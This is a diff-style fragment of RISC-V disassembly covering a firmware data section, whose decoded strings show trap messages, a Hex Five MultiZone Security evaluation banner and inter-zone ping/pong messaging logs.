+20403dc0:	6e65                	lui	t3,0x19
+20403dc2:	2074                	fld	fa3,192(s0)
+20403dc4:	6c6c6163          	bltu	s8,t1,20404486 <__sf_fake_stdout+0x1a>
+20403dc8:	6620                	flw	fs0,72(a2)
+20403dca:	6f72                	flw	ft10,28(sp)
+20403dcc:	206d                	jal	20403e76 <_exit+0x284>
+20403dce:	6f6d2d53          	0x6f6d2d53
+20403dd2:	6564                	flw	fs1,76(a0)
+20403dd4:	3a20                	fld	fs0,112(a2)
+20403dd6:	3020                	fld	fs0,96(s0)
+20403dd8:	2578                	fld	fa4,200(a0)
+20403dda:	3830                	fld	fa2,112(s0)
+20403ddc:	2078                	fld	fa4,192(s0)
+20403dde:	7830                	flw	fa2,112(s0)
+20403de0:	3025                	jal	20403608 <__sseek+0x16>
+20403de2:	7838                	flw	fa4,112(s0)
+20403de4:	3020                	fld	fs0,96(s0)
+20403de6:	2578                	fld	fa4,200(a0)
+20403de8:	3830                	fld	fa2,112(s0)
+20403dea:	2078                	fld	fa4,192(s0)
+20403dec:	000a                	c.slli	zero,0x2
+20403dee:	0000                	unimp
+20403df0:	6e45                	lui	t3,0x11
+20403df2:	6976                	flw	fs2,92(sp)
+20403df4:	6f72                	flw	ft10,28(sp)
+20403df6:	6d6e                	flw	fs10,216(sp)
+20403df8:	6e65                	lui	t3,0x19
+20403dfa:	2074                	fld	fa3,192(s0)
+20403dfc:	6c6c6163          	bltu	s8,t1,204044be <__sf_fake_stdout+0x52>
+20403e00:	6620                	flw	fs0,72(a2)
+20403e02:	6f72                	flw	ft10,28(sp)
+20403e04:	206d                	jal	20403eae <_exit+0x2bc>
+20403e06:	2d4d                	jal	204044b8 <__sf_fake_stdout+0x4c>
+20403e08:	6f6d                	lui	t5,0x1b
+20403e0a:	6564                	flw	fs1,76(a0)
+20403e0c:	3a20                	fld	fs0,112(a2)
+20403e0e:	3020                	fld	fs0,96(s0)
+20403e10:	2578                	fld	fa4,200(a0)
+20403e12:	3830                	fld	fa2,112(s0)
+20403e14:	2078                	fld	fa4,192(s0)
+20403e16:	7830                	flw	fa2,112(s0)
+20403e18:	3025                	jal	20403640 <strchr+0x12>
+20403e1a:	7838                	flw	fa4,112(s0)
+20403e1c:	3020                	fld	fs0,96(s0)
+20403e1e:	2578                	fld	fa4,200(a0)
+20403e20:	3830                	fld	fa2,112(s0)
+20403e22:	2078                	fld	fa4,192(s0)
+20403e24:	000a                	c.slli	zero,0x2
+20403e26:	0000                	unimp
+20403e28:	5b1b371b          	0x5b1b371b
+20403e2c:	4b32                	lw	s6,12(sp)
+20403e2e:	0000                	unimp
+20403e30:	440d                	li	s0,3
+20403e32:	414d                	li	sp,19
+20403e34:	7420                	flw	fs0,104(s0)
+20403e36:	6172                	flw	ft2,28(sp)
+20403e38:	736e                	flw	ft6,248(sp)
+20403e3a:	6566                	flw	fa0,88(sp)
+20403e3c:	2072                	fld	ft0,280(sp)
+20403e3e:	706d6f63          	bltu	s10,t1,2040455c <_data_lma+0x3c>
+20403e42:	656c                	flw	fa1,76(a0)
+20403e44:	6574                	flw	fa3,76(a0)
+20403e46:	0a20                	addi	s0,sp,280
+20403e48:	0000                	unimp
+20403e4a:	0000                	unimp
+20403e4c:	72756f73          	csrrsi	t5,0x727,10
+20403e50:	3a206563          	bltu	zero,sp,204041fa <_exit+0x608>
+20403e54:	3020                	fld	fs0,96(s0)
+20403e56:	2578                	fld	fa4,200(a0)
+20403e58:	3830                	fld	fa2,112(s0)
+20403e5a:	2078                	fld	fa4,192(s0)
+20403e5c:	000a                	c.slli	zero,0x2
+20403e5e:	0000                	unimp
+20403e60:	6564                	flw	fs1,76(a0)
+20403e62:	20207473          	csrrci	s0,hedeleg,0
+20403e66:	3a20                	fld	fs0,112(a2)
+20403e68:	3020                	fld	fs0,96(s0)
+20403e6a:	2578                	fld	fa4,200(a0)
+20403e6c:	3830                	fld	fa2,112(s0)
+20403e6e:	2078                	fld	fa4,192(s0)
+20403e70:	000a                	c.slli	zero,0x2
+20403e72:	0000                	unimp
+20403e74:	657a6973          	csrrsi	s2,0x657,20
+20403e78:	2020                	fld	fs0,64(s0)
+20403e7a:	3a20                	fld	fs0,112(a2)
+20403e7c:	3020                	fld	fs0,96(s0)
+20403e7e:	2578                	fld	fa4,200(a0)
+20403e80:	3830                	fld	fa2,112(s0)
+20403e82:	2078                	fld	fa4,192(s0)
+20403e84:	000a                	c.slli	zero,0x2
+20403e86:	0000                	unimp
+20403e88:	5b1b381b          	0x5b1b381b
+20403e8c:	4234                	lw	a3,64(a2)
+20403e8e:	0000                	unimp
+20403e90:	4d0d                	li	s10,3
+20403e92:	6361                	lui	t1,0x18
+20403e94:	6968                	flw	fa0,84(a0)
+20403e96:	656e                	flw	fa0,216(sp)
+20403e98:	7420                	flw	fs0,104(s0)
+20403e9a:	6d69                	lui	s10,0x1a
+20403e9c:	7265                	lui	tp,0xffff9
+20403e9e:	6920                	flw	fs0,80(a0)
+20403ea0:	746e                	flw	fs0,248(sp)
+20403ea2:	7265                	lui	tp,0xffff9
+20403ea4:	7572                	flw	fa0,60(sp)
+20403ea6:	7470                	flw	fa2,108(s0)
+20403ea8:	3a20                	fld	fs0,112(a2)
+20403eaa:	3020                	fld	fs0,96(s0)
+20403eac:	2578                	fld	fa4,200(a0)
+20403eae:	3830                	fld	fa2,112(s0)
+20403eb0:	2078                	fld	fa4,192(s0)
+20403eb2:	7830                	flw	fa2,112(s0)
+20403eb4:	3025                	jal	204036dc <__swbuf_r+0x94>
+20403eb6:	7838                	flw	fa4,112(s0)
+20403eb8:	3020                	fld	fs0,96(s0)
+20403eba:	2578                	fld	fa4,200(a0)
+20403ebc:	3830                	fld	fa2,112(s0)
+20403ebe:	2078                	fld	fa4,192(s0)
+20403ec0:	000a                	c.slli	zero,0x2
+20403ec2:	0000                	unimp
+20403ec4:	5a0a                	lw	s4,160(sp)
+20403ec6:	2032                	fld	ft0,264(sp)
+20403ec8:	203e                	fld	ft0,456(sp)
+20403eca:	7325                	lui	t1,0xfffe9
+20403ecc:	0000                	unimp
+20403ece:	0000                	unimp
+20403ed0:	5b1b381b          	0x5b1b381b
+20403ed4:	4232                	lw	tp,12(sp)
+20403ed6:	0000                	unimp
+20403ed8:	7845                	lui	a6,0xffff1
+20403eda:	74706563          	bltu	zero,t2,20404624 <_data_lma+0x104>
+20403ede:	6f69                	lui	t5,0x1a
+20403ee0:	206e                	fld	ft0,216(sp)
+20403ee2:	203a                	fld	ft0,392(sp)
+20403ee4:	7830                	flw	fa2,112(s0)
+20403ee6:	3025                	jal	2040370e <__swsetup_r+0x4>
+20403ee8:	7838                	flw	fa4,112(s0)
+20403eea:	3020                	fld	fs0,96(s0)
+20403eec:	2578                	fld	fa4,200(a0)
+20403eee:	3830                	fld	fa2,112(s0)
+20403ef0:	2078                	fld	fa4,192(s0)
+20403ef2:	7830                	flw	fa2,112(s0)
+20403ef4:	3025                	jal	2040371c <__swsetup_r+0x12>
+20403ef6:	7838                	flw	fa4,112(s0)
+20403ef8:	0a20                	addi	s0,sp,280
+20403efa:	0000                	unimp
+20403efc:	7250                	flw	fa2,36(a2)
+20403efe:	7365                	lui	t1,0xffff9
+20403f00:	6e612073          	csrs	0x6e6,sp
+20403f04:	2079                	jal	20403f92 <_exit+0x3a0>
+20403f06:	2079656b          	0x2079656b
+20403f0a:	6f74                	flw	fa3,92(a4)
+20403f0c:	7220                	flw	fs0,96(a2)
+20403f0e:	7365                	lui	t1,0xffff9
+20403f10:	6174                	flw	fa3,68(a0)
+20403f12:	7472                	flw	fs0,60(sp)
+20403f14:	0a20                	addi	s0,sp,280
+20403f16:	0000                	unimp
+20403f18:	dbbc                	sw	a5,112(a5)
+20403f1a:	ffff                	0xffff
+20403f1c:	dbee                	sw	s11,244(sp)
+20403f1e:	ffff                	0xffff
+20403f20:	dbfc                	sw	a5,116(a5)
+20403f22:	ffff                	0xffff
+20403f24:	dc0a                	sw	sp,56(sp)
+20403f26:	ffff                	0xffff
+20403f28:	dc18                	sw	a4,56(s0)
+20403f2a:	ffff                	0xffff
+20403f2c:	dc64                	sw	s1,124(s0)
+20403f2e:	ffff                	0xffff
+20403f30:	dc78                	sw	a4,124(s0)
+20403f32:	ffff                	0xffff
+20403f34:	dc9c                	sw	a5,56(s1)
+20403f36:	ffff                	0xffff
+20403f38:	dcaa                	sw	a0,120(sp)
+20403f3a:	ffff                	0xffff
+20403f3c:	dcb8                	sw	a4,120(s1)
+20403f3e:	ffff                	0xffff
+20403f40:	dbae                	sw	a1,244(sp)
+20403f42:	ffff                	0xffff
+20403f44:	dcc6                	sw	a7,120(sp)
+20403f46:	ffff                	0xffff
+20403f48:	4155                	li	sp,21
+20403f4a:	5452                	lw	s0,52(sp)
+20403f4c:	0000                	unimp
+20403f4e:	0000                	unimp
+20403f50:	4a325b1b          	0x4a325b1b
+20403f54:	00485b1b          	0x485b1b
+20403f58:	3d3d                	jal	20403d96 <_exit+0x1a4>
+20403f5a:	3d3d                	jal	20403d98 <_exit+0x1a6>
+20403f5c:	3d3d                	jal	20403d9a <_exit+0x1a8>
+20403f5e:	3d3d                	jal	20403d9c <_exit+0x1aa>
+20403f60:	3d3d                	jal	20403d9e <_exit+0x1ac>
+20403f62:	3d3d                	jal	20403da0 <_exit+0x1ae>
+20403f64:	3d3d                	jal	20403da2 <_exit+0x1b0>
+20403f66:	3d3d                	jal	20403da4 <_exit+0x1b2>
+20403f68:	3d3d                	jal	20403da6 <_exit+0x1b4>
+20403f6a:	3d3d                	jal	20403da8 <_exit+0x1b6>
+20403f6c:	3d3d                	jal	20403daa <_exit+0x1b8>
+20403f6e:	3d3d                	jal	20403dac <_exit+0x1ba>
+20403f70:	3d3d                	jal	20403dae <_exit+0x1bc>
+20403f72:	3d3d                	jal	20403db0 <_exit+0x1be>
+20403f74:	3d3d                	jal	20403db2 <_exit+0x1c0>
+20403f76:	3d3d                	jal	20403db4 <_exit+0x1c2>
+20403f78:	3d3d                	jal	20403db6 <_exit+0x1c4>
+20403f7a:	3d3d                	jal	20403db8 <_exit+0x1c6>
+20403f7c:	3d3d                	jal	20403dba <_exit+0x1c8>
+20403f7e:	3d3d                	jal	20403dbc <_exit+0x1ca>
+20403f80:	3d3d                	jal	20403dbe <_exit+0x1cc>
+20403f82:	3d3d                	jal	20403dc0 <_exit+0x1ce>
+20403f84:	3d3d                	jal	20403dc2 <_exit+0x1d0>
+20403f86:	3d3d                	jal	20403dc4 <_exit+0x1d2>
+20403f88:	3d3d                	jal	20403dc6 <_exit+0x1d4>
+20403f8a:	3d3d                	jal	20403dc8 <_exit+0x1d6>
+20403f8c:	3d3d                	jal	20403dca <_exit+0x1d8>
+20403f8e:	3d3d                	jal	20403dcc <_exit+0x1da>
+20403f90:	3d3d                	jal	20403dce <_exit+0x1dc>
+20403f92:	3d3d                	jal	20403dd0 <_exit+0x1de>
+20403f94:	3d3d                	jal	20403dd2 <_exit+0x1e0>
+20403f96:	3d3d                	jal	20403dd4 <_exit+0x1e2>
+20403f98:	3d3d                	jal	20403dd6 <_exit+0x1e4>
+20403f9a:	3d3d                	jal	20403dd8 <_exit+0x1e6>
+20403f9c:	0a3d                	addi	s4,s4,15
+20403f9e:	0000                	unimp
+20403fa0:	2020                	fld	fs0,64(s0)
+20403fa2:	2020                	fld	fs0,64(s0)
+20403fa4:	2020                	fld	fs0,64(s0)
+20403fa6:	2009                	jal	20403fa8 <_exit+0x3b6>
+20403fa8:	2020                	fld	fs0,64(s0)
+20403faa:	2020                	fld	fs0,64(s0)
+20403fac:	2020                	fld	fs0,64(s0)
+20403fae:	2020                	fld	fs0,64(s0)
+20403fb0:	2020                	fld	fs0,64(s0)
+20403fb2:	2020                	fld	fs0,64(s0)
+20403fb4:	6548                	flw	fa0,12(a0)
+20403fb6:	2078                	fld	fa4,192(s0)
+20403fb8:	6946                	flw	fs2,80(sp)
+20403fba:	6576                	flw	fa0,92(sp)
+20403fbc:	4d20                	lw	s0,88(a0)
+20403fbe:	6c75                	lui	s8,0x1d
+20403fc0:	6974                	flw	fa3,84(a0)
+20403fc2:	6f5a                	flw	ft10,148(sp)
+20403fc4:	656e                	flw	fa0,216(sp)
+20403fc6:	aec2                	fsd	fa6,344(sp)
+20403fc8:	5320                	lw	s0,96(a4)
+20403fca:	6365                	lui	t1,0x19
+20403fcc:	7275                	lui	tp,0xffffd
+20403fce:	7469                	lui	s0,0xffffa
+20403fd0:	2079                	jal	2040405e <_exit+0x46c>
+20403fd2:	2020                	fld	fs0,64(s0)
+20403fd4:	2020                	fld	fs0,64(s0)
+20403fd6:	2020                	fld	fs0,64(s0)
+20403fd8:	2020                	fld	fs0,64(s0)
+20403fda:	2020                	fld	fs0,64(s0)
+20403fdc:	2020                	fld	fs0,64(s0)
+20403fde:	2020                	fld	fs0,64(s0)
+20403fe0:	2020                	fld	fs0,64(s0)
+20403fe2:	2020                	fld	fs0,64(s0)
+20403fe4:	0a20                	addi	s0,sp,280
+20403fe6:	0000                	unimp
+20403fe8:	2020                	fld	fs0,64(s0)
+20403fea:	2020                	fld	fs0,64(s0)
+20403fec:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
+20403ff0:	6972                	flw	fs2,28(sp)
+20403ff2:	c2746867          	0xc2746867
+20403ff6:	20a9                	jal	20404040 <_exit+0x44e>
+20403ff8:	3032                	fld	ft0,296(sp)
+20403ffa:	3032                	fld	ft0,296(sp)
+20403ffc:	4820                	lw	s0,80(s0)
+20403ffe:	7865                	lui	a6,0xffff9
+20404000:	4620                	lw	s0,72(a2)
+20404002:	7669                	lui	a2,0xffffa
+20404004:	2065                	jal	204040ac <_exit+0x4ba>
+20404006:	75636553          	0x75636553
+2040400a:	6972                	flw	fs2,28(sp)
+2040400c:	7974                	flw	fa3,116(a0)
+2040400e:	202c                	fld	fa1,64(s0)
+20404010:	6e49                	lui	t3,0x12
+20404012:	2d202e63          	0x2d202e63
+20404016:	4120                	lw	s0,64(a0)
+20404018:	6c6c                	flw	fa1,92(s0)
+2040401a:	5220                	lw	s0,96(a2)
+2040401c:	6769                	lui	a4,0x1a
+2040401e:	7468                	flw	fa0,108(s0)
+20404020:	65522073          	csrs	0x655,tp
+20404024:	76726573          	csrrsi	a0,0x767,4
+20404028:	6465                	lui	s0,0x19
+2040402a:	2020                	fld	fs0,64(s0)
+2040402c:	2020                	fld	fs0,64(s0)
+2040402e:	000a                	c.slli	zero,0x2
+20404030:	6854                	flw	fa3,20(s0)
+20404032:	7369                	lui	t1,0xffffa
+20404034:	7620                	flw	fs0,104(a2)
+20404036:	7265                	lui	tp,0xffff9
+20404038:	6e6f6973          	csrrsi	s2,0x6e6,30
+2040403c:	6f20                	flw	fs0,88(a4)
+2040403e:	2066                	fld	ft0,88(sp)
+20404040:	754d                	lui	a0,0xffff3
+20404042:	746c                	flw	fa1,108(s0)
+20404044:	5a69                	li	s4,-6
+20404046:	c2656e6f          	jal	t3,2035a46c <__stack_size+0x20359c6c>
+2040404a:	20ae                	fld	ft1,200(sp)
+2040404c:	75636553          	0x75636553
+20404050:	6972                	flw	fs2,28(sp)
+20404052:	7974                	flw	fa3,116(a0)
+20404054:	6920                	flw	fs0,80(a0)
+20404056:	656d2073          	csrs	0x656,s10
+2040405a:	6e61                	lui	t3,0x18
+2040405c:	2074                	fld	fa3,192(s0)
+2040405e:	6f66                	flw	ft10,88(sp)
+20404060:	2072                	fld	ft0,280(sp)
+20404062:	7665                	lui	a2,0xffff9
+20404064:	6c61                	lui	s8,0x18
+20404066:	6175                	addi	sp,sp,368
+20404068:	6974                	flw	fa3,84(a0)
+2040406a:	70206e6f          	jal	t3,2040a76c <_data_lma+0x624c>
+2040406e:	7275                	lui	tp,0xffffd
+20404070:	6f70                	flw	fa2,92(a4)
+20404072:	20736573          	csrrsi	a0,0x207,6
+20404076:	000a                	c.slli	zero,0x2
+20404078:	796c6e6f          	jal	t3,204ca80e <_data_lma+0xc62ee>
+2040407c:	202e                	fld	ft0,200(sp)
+2040407e:	7341                	lui	t1,0xffff0
+20404080:	7320                	flw	fs0,96(a4)
+20404082:	6375                	lui	t1,0x1d
+20404084:	2c68                	fld	fa0,216(s0)
+20404086:	7520                	flw	fs0,104(a0)
+20404088:	6f206573          	csrrsi	a0,0x6f2,0
+2040408c:	2066                	fld	ft0,88(sp)
+2040408e:	6874                	flw	fa3,84(s0)
+20404090:	7369                	lui	t1,0xffffa
+20404092:	7320                	flw	fs0,96(a4)
+20404094:	7774666f          	jal	a2,2044b00a <_data_lma+0x46aea>
+20404098:	7261                	lui	tp,0xffff8
+2040409a:	2065                	jal	20404142 <_exit+0x550>
+2040409c:	7369                	lui	t1,0xffffa
+2040409e:	6720                	flw	fs0,72(a4)
+204040a0:	7265766f          	jal	a2,2045b7c6 <_data_lma+0x572a6>
+204040a4:	656e                	flw	fa0,216(sp)
+204040a6:	2064                	fld	fs1,192(s0)
+204040a8:	7962                	flw	fs2,56(sp)
+204040aa:	7420                	flw	fs0,104(s0)
+204040ac:	6568                	flw	fa0,76(a0)
+204040ae:	4520                	lw	s0,72(a0)
+204040b0:	6176                	flw	ft2,92(sp)
+204040b2:	756c                	flw	fa1,108(a0)
+204040b4:	7461                	lui	s0,0xffff8
+204040b6:	6f69                	lui	t5,0x1a
+204040b8:	206e                	fld	ft0,216(sp)
+204040ba:	2020                	fld	fs0,64(s0)
+204040bc:	0a20                	addi	s0,sp,280
+204040be:	0000                	unimp
+204040c0:	694c                	flw	fa1,20(a0)
+204040c2:	736e6563          	bltu	t3,s6,204047ec <_data_lma+0x2cc>
+204040c6:	2e65                	jal	2040447e <__sf_fake_stdout+0x12>
+204040c8:	5420                	lw	s0,104(s0)
+204040ca:	6568                	flw	fa0,76(a0)
+204040cc:	6572                	flw	fa0,28(sp)
+204040ce:	6d20                	flw	fs0,88(a0)
+204040d0:	7961                	lui	s2,0xffff8
+204040d2:	6220                	flw	fs0,64(a2)
+204040d4:	2065                	jal	2040417c <_exit+0x58a>
+204040d6:	6568746f          	jal	s0,2048b72c <_data_lma+0x8720c>
+204040da:	2072                	fld	ft0,280(sp)
+204040dc:	7566                	flw	fa0,120(sp)
+204040de:	636e                	flw	ft6,216(sp)
+204040e0:	6974                	flw	fa3,84(a0)
+204040e2:	6c616e6f          	jal	t3,2041a7a8 <_data_lma+0x16288>
+204040e6:	6c20                	flw	fs0,88(s0)
+204040e8:	6d69                	lui	s10,0x1a
+204040ea:	7469                	lui	s0,0xffffa
+204040ec:	7461                	lui	s0,0xffff8
+204040ee:	6f69                	lui	t5,0x1a
+204040f0:	736e                	flw	ft6,248(sp)
+204040f2:	6120                	flw	fs0,64(a0)
+204040f4:	65642073          	csrs	0x656,s0
+204040f8:	69726373          	csrrsi	t1,0x697,4
+204040fc:	6562                	flw	fa0,24(sp)
+204040fe:	2064                	fld	fs1,192(s0)
+20404100:	6e69                	lui	t3,0x1a
+20404102:	2020                	fld	fs0,64(s0)
+20404104:	0a20                	addi	s0,sp,280
+20404106:	0000                	unimp
+20404108:	6874                	flw	fa3,84(s0)
+2040410a:	2065                	jal	204041b2 <_exit+0x5c0>
+2040410c:	7665                	lui	a2,0xffff9
+2040410e:	6c61                	lui	s8,0x18
+20404110:	6175                	addi	sp,sp,368
+20404112:	6974                	flw	fa3,84(a0)
+20404114:	53206e6f          	jal	t3,2040a646 <_data_lma+0x6126>
+20404118:	4b44                	lw	s1,20(a4)
+2040411a:	6420                	flw	fs0,72(s0)
+2040411c:	6d75636f          	jal	t1,2045aff2 <_data_lma+0x56ad2>
+20404120:	6e65                	lui	t3,0x19
+20404122:	6174                	flw	fa3,68(a0)
+20404124:	6974                	flw	fa3,84(a0)
+20404126:	202e6e6f          	jal	t3,204ea328 <_data_lma+0xe5e08>
+2040412a:	6854                	flw	fa3,20(s0)
+2040412c:	2065                	jal	204041d4 <_exit+0x5e2>
+2040412e:	6d6d6f63          	bltu	s10,s6,2040480c <_data_lma+0x2ec>
+20404132:	7265                	lui	tp,0xffff9
+20404134:	6c616963          	bltu	sp,t1,20404806 <_data_lma+0x2e6>
+20404138:	7620                	flw	fs0,104(a2)
+2040413a:	7265                	lui	tp,0xffff9
+2040413c:	6e6f6973          	csrrsi	s2,0x6e6,30
+20404140:	6f20                	flw	fs0,88(a4)
+20404142:	2066                	fld	ft0,88(sp)
+20404144:	6874                	flw	fa3,84(s0)
+20404146:	2065                	jal	204041ee <_exit+0x5fc>
+20404148:	2020                	fld	fs0,64(s0)
+2040414a:	2020                	fld	fs0,64(s0)
+2040414c:	0a20                	addi	s0,sp,280
+2040414e:	0000                	unimp
+20404150:	74666f73          	csrrsi	t5,0x746,12
+20404154:	65726177          	0x65726177
+20404158:	6420                	flw	fs0,72(s0)
+2040415a:	2073656f          	jal	a0,2043ab60 <_data_lma+0x36640>
+2040415e:	6f6e                	flw	ft10,216(sp)
+20404160:	2074                	fld	fa3,192(s0)
+20404162:	6168                	flw	fa0,68(a0)
+20404164:	6576                	flw	fa0,92(sp)
+20404166:	7420                	flw	fs0,104(s0)
+20404168:	6568                	flw	fa0,76(a0)
+2040416a:	72206573          	csrrsi	a0,0x722,0
+2040416e:	7365                	lui	t1,0xffff9
+20404170:	7274                	flw	fa3,100(a2)
+20404172:	6369                	lui	t1,0x1a
+20404174:	6974                	flw	fa3,84(a0)
+20404176:	2e736e6f          	jal	t3,2043ac5c <_data_lma+0x3673c>
+2040417a:	2020                	fld	fs0,64(s0)
+2040417c:	2020                	fld	fs0,64(s0)
+2040417e:	2020                	fld	fs0,64(s0)
+20404180:	2020                	fld	fs0,64(s0)
+20404182:	2020                	fld	fs0,64(s0)
+20404184:	2020                	fld	fs0,64(s0)
+20404186:	2020                	fld	fs0,64(s0)
+20404188:	2020                	fld	fs0,64(s0)
+2040418a:	2020                	fld	fs0,64(s0)
+2040418c:	2020                	fld	fs0,64(s0)
+2040418e:	2020                	fld	fs0,64(s0)
+20404190:	2020                	fld	fs0,64(s0)
+20404192:	2020                	fld	fs0,64(s0)
+20404194:	0a20                	addi	s0,sp,280
+20404196:	0000                	unimp
+20404198:	0d0a                	slli	s10,s10,0x2
+2040419a:	325a                	fld	ft4,432(sp)
+2040419c:	3e20                	fld	fs0,120(a2)
+2040419e:	0020                	addi	s0,sp,8
+204041a0:	6d7a                	flw	fs10,156(sp)
+204041a2:	3e2d                	jal	20403cdc <_exit+0xea>
+204041a4:	6164                	flw	fs1,68(a0)
+204041a6:	6174                	flw	fa3,68(a0)
+204041a8:	203a                	fld	ft0,392(sp)
+204041aa:	7325                	lui	t1,0xfffe9
+204041ac:	000a                	c.slli	zero,0x2
+204041ae:	0000                	unimp
+204041b0:	726f7453          	0x726f7453
+204041b4:	6e69                	lui	t3,0x1a
+204041b6:	76722067          	0x76722067
+204041ba:	7620                	flw	fs0,104(a2)
+204041bc:	6c61                	lui	s8,0x18
+204041be:	6575                	lui	a0,0x1d
+204041c0:	6920                	flw	fs0,80(a0)
+204041c2:	206e                	fld	ft0,216(sp)
+204041c4:	6d7a                	flw	fs10,156(sp)
+204041c6:	3e2d                	jal	20403d00 <_exit+0x10e>
+204041c8:	6164                	flw	fs1,68(a0)
+204041ca:	6174                	flw	fa3,68(a0)
+204041cc:	000a                	c.slli	zero,0x2
+204041ce:	0000                	unimp
+204041d0:	646e6553          	0x646e6553
+204041d4:	6e69                	lui	t3,0x1a
+204041d6:	65722067          	0x65722067
+204041da:	6e6f7073          	csrci	0x6e6,30
+204041de:	74206573          	csrrsi	a0,0x742,0
+204041e2:	6f7a206f          	j	204a70d8 <_data_lma+0xa2bb8>
+204041e6:	656e                	flw	fa0,216(sp)
+204041e8:	3120                	fld	fs0,96(a0)
+204041ea:	2d20                	fld	fs0,88(a0)
+204041ec:	7220                	flw	fs0,96(a2)
+204041ee:	3d76                	fld	fs10,376(sp)
+204041f0:	253d                	jal	2040481e <_data_lma+0x2fe>
+204041f2:	0a75                	addi	s4,s4,29
+204041f4:	0000                	unimp
+204041f6:	0000                	unimp
+204041f8:	654d                	lui	a0,0x13
+204041fa:	67617373          	csrrci	t1,0x676,2
+204041fe:	2065                	jal	204042a6 <_exit+0x6b4>
+20404200:	746e6573          	csrrsi	a0,0x746,28
+20404204:	7420                	flw	fs0,104(s0)
+20404206:	6f7a206f          	j	204a70fc <_data_lma+0xa2bdc>
+2040420a:	656e                	flw	fa0,216(sp)
+2040420c:	3220                	fld	fs0,96(a2)
+2040420e:	000a                	c.slli	zero,0x2
+20404210:	6552                	flw	fa0,20(sp)
+20404212:	76696563          	bltu	s2,t1,2040497c <_data_lma+0x45c>
+20404216:	6465                	lui	s0,0x19
+20404218:	6120                	flw	fs0,64(a0)
+2040421a:	5a20                	lw	s0,112(a2)
+2040421c:	4d656e6f          	jal	t3,2045a6f2 <_data_lma+0x561d2>
+20404220:	7365                	lui	t1,0xffff9
+20404222:	65676173          	csrrsi	sp,0x656,14
+20404226:	6920                	flw	fs0,80(a0)
+20404228:	206e                	fld	ft0,216(sp)
+2040422a:	6f7a                	flw	ft10,156(sp)
+2040422c:	656e                	flw	fa0,216(sp)
+2040422e:	3220                	fld	fs0,96(a2)
+20404230:	6620                	flw	fs0,72(a2)
+20404232:	6f72                	flw	ft10,28(sp)
+20404234:	206d                	jal	204042de <_exit+0x6ec>
+20404236:	6f7a                	flw	ft10,156(sp)
+20404238:	656e                	flw	fa0,216(sp)
+2040423a:	3220                	fld	fs0,96(a2)
+2040423c:	202e                	fld	ft0,200(sp)
+2040423e:	6e49                	lui	t3,0x12
+20404240:	6574                	flw	fa3,76(a0)
+20404242:	646e                	flw	fs0,216(sp)
+20404244:	6465                	lui	s0,0x19
+20404246:	00000a3f 796d0000 	0x796d000000000a3f
+2040424e:	735f 6365 6572      	0x65726365735f
+20404254:	5f74                	lw	a3,124(a4)
+20404256:	6461                	lui	s0,0x18
+20404258:	696d                	lui	s2,0x1b
+2040425a:	5f6e                	lw	t5,248(sp)
+2040425c:	616e                	flw	ft2,216(sp)
+2040425e:	656d                	lui	a0,0x1b
+20404260:	0000                	unimp
+20404262:	0000                	unimp
+20404264:	7254                	flw	fa3,36(a2)
+20404266:	6e61                	lui	t3,0x18
+20404268:	73696d73          	csrrsi	s10,0x736,18
+2040426c:	6e6f6973          	csrrsi	s2,0x6e6,30
+20404270:	004c                	addi	a1,sp,4
+20404272:	0000                	unimp
+20404274:	6970                	flw	fa2,84(a0)
+20404276:	676e                	flw	fa4,216(sp)
+20404278:	0000                	unimp
+2040427a:	0000                	unimp
+2040427c:	6f70                	flw	fa2,92(a4)
+2040427e:	676e                	flw	fa4,216(sp)
+20404280:	0000                	unimp
+20404282:	0000                	unimp
+20404284:	5a0d                	li	s4,-29
+20404286:	6425                	lui	s0,0x9
+20404288:	3e20                	fld	fs0,120(a2)
+2040428a:	2520                	fld	fs0,72(a0)
+2040428c:	000a2073          	csrs	ustatus,s4
+20404290:	5a0d                	li	s4,-29
+20404292:	2032                	fld	ft0,264(sp)
+20404294:	203e                	fld	ft0,456(sp)
+20404296:	7325                	lui	t1,0xfffe9
+20404298:	0000                	unimp
+2040429a:	0000                	unimp
+2040429c:	6572                	flw	fa0,28(sp)
+2040429e:	76696563          	bltu	s2,t1,20404a08 <_data_lma+0x4e8>
+204042a2:	6465                	lui	s0,0x19
+204042a4:	6120                	flw	fs0,64(a0)
+204042a6:	5a20                	lw	s0,112(a2)
+204042a8:	2d4d                	jal	2040495a <_data_lma+0x43a>
+204042aa:	6548                	flw	fa0,12(a0)
+204042ac:	6461                	lui	s0,0x18
+204042ae:	7265                	lui	tp,0xffff9
+204042b0:	6d20                	flw	fs0,88(a0)
+204042b2:	7365                	lui	t1,0xffff9
+204042b4:	25203a67          	0x25203a67
+204042b8:	32302573          	csrr	a0,mhpmevent3
+204042bc:	0a75                	addi	s4,s4,29
+204042be:	0000                	unimp
+204042c0:	6544                	flw	fs1,12(a0)
+204042c2:	69726573          	csrrsi	a0,0x697,4
+204042c6:	6c61                	lui	s8,0x18
+204042c8:	7a69                	lui	s4,0xffffa
+204042ca:	6465                	lui	s0,0x19
+204042cc:	7420                	flw	fs0,104(s0)
+204042ce:	6568                	flw	fa0,76(a0)
+204042d0:	5a20                	lw	s0,112(a2)
+204042d2:	2d4d                	jal	20404984 <_data_lma+0x464>
+204042d4:	6548                	flw	fa0,12(a0)
+204042d6:	6461                	lui	s0,0x18
+204042d8:	7265                	lui	tp,0xffff9
+204042da:	6d20                	flw	fs0,88(a0)
+204042dc:	7365                	lui	t1,0xffff9
+204042de:	00000a67          	jalr	s4,zero # 0 <__stack_size-0x800>
+204042e2:	0000                	unimp
+204042e4:	69726553          	0x69726553
+204042e8:	6c61                	lui	s8,0x18
+204042ea:	7a69                	lui	s4,0xffffa
+204042ec:	6e69                	lui	t3,0x1a
+204042ee:	69762067          	0x69762067
+204042f2:	2061                	jal	2040437a <_exit+0x788>
+204042f4:	7566                	flw	fa0,120(sp)
+204042f6:	636e                	flw	ft6,216(sp)
+204042f8:	6974                	flw	fa3,84(a0)
+204042fa:	63206e6f          	jal	t3,2040a92c <_data_lma+0x640c>
+204042fe:	6c61                	lui	s8,0x18
+20404300:	0a6c                	addi	a1,sp,284
+20404302:	0000                	unimp
+20404304:	69726553          	0x69726553
+20404308:	6c61                	lui	s8,0x18
+2040430a:	7a69                	lui	s4,0xffffa
+2040430c:	7461                	lui	s0,0xffff8
+2040430e:	6f69                	lui	t5,0x1a
+20404310:	206e                	fld	ft0,216(sp)
+20404312:	63637573          	csrrci	a0,0x636,6
+20404316:	7365                	lui	t1,0xffff9
+20404318:	6c756673          	csrrsi	a2,0x6c7,10
+2040431c:	000a                	c.slli	zero,0x2
+2040431e:	0000                	unimp
+20404320:	6e69                	lui	t3,0x1a
